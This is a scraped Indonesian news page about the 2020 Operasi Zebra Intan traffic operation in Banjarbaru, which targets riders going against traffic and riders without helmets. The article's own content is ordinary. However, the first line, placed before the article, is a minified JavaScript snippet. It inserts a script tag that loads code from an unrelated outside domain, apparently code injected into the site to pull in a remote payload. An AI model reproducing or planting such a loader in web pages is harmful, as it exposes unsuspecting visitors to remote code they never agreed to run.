(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Operasi Zebra Intan 2020 mulai digelar sejak Senin (26/10/2020). Khusus di kota Banjarbaru, ada dua jenis pelanggaran yang menjadi prioritas sasaran penindakan dalam operasi yang akan berlangsung hingga 8 November mendatang.
Kasat Lantas Polres Banjarbaru AKP Apriyansa Sinatra mengatakan dua pelanggaran prioritas itu adalah pengendara melawan arus dan pengendara tidak memakai helm.
“Ini adalah tindakan represif yang menjadi prioritas utama untuk selama berlangsungnya Operasi Zebra Intan 2020. Operasi kali ini polanya hunting system atau patroli keliling. Jadi tidak melakukan razia di satu tempat,” kata Kasat Lantas Polres Banjarbaru, Selesa (27/10/2020) siang.
Adapun lokasi yang menjadi sasaran utama yakni di U-turn ruas jalan yang dilintasi pengendara untuk memutar arah. Seperti di jalan A Yani, tepat di depan Pasar Bauntung Banjarbaru.
Meski demikian, AKP Aprianyansa menuturkan dalam operasi kali ini, pihaknya lebih mengedepankan tindakan preemtif dan preventif ketimbang melakukan tilang pelanggaran.
“40 persen preemtif atau sifatnya edukasi, sosialisasi, 40 persen preventif atau pencegahan yang dilaksanakan dengan turjawali, yaitu pengaturan, penjagaan, pengawalan dan patroli, dan 20 persen penindakan dengan tilang dan sebagainya,” tambahnya.
Lebih lanjut, ia juga menjelaskan dalam operasi kali ini, pihaknya juga melakukan razia yang mengedepankan pendisplinan protokol kesehatan Covid-19. Seperti halnya menyasar pengendara yang tak menggunakan masker.
“Saya pribadi menilai masyarakat Banjarbaru sebenarnya sudah mulai disiplin menggunakan masker. Tetapi banyak juga yang menganggap kalau sudah pakai masker, maka tidak masalah kalau tidak menggunakan helm. Itu stigma yang berkembang di masyarakat dan itu salah. Jelas padangan seperti itu salah,” tegas Kasatlantas.
Satuan Polres Banjarbaru sendiri fokus memberikan sosialisasi dan pendidikan soal lalu lintas kepada masyarakat. Dibuktikan dengan adanya papan-papan imbauan yang ditampilkan selama perlaksanaan operasi razia berlangsung. (kanalkalimantan.com/rico)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.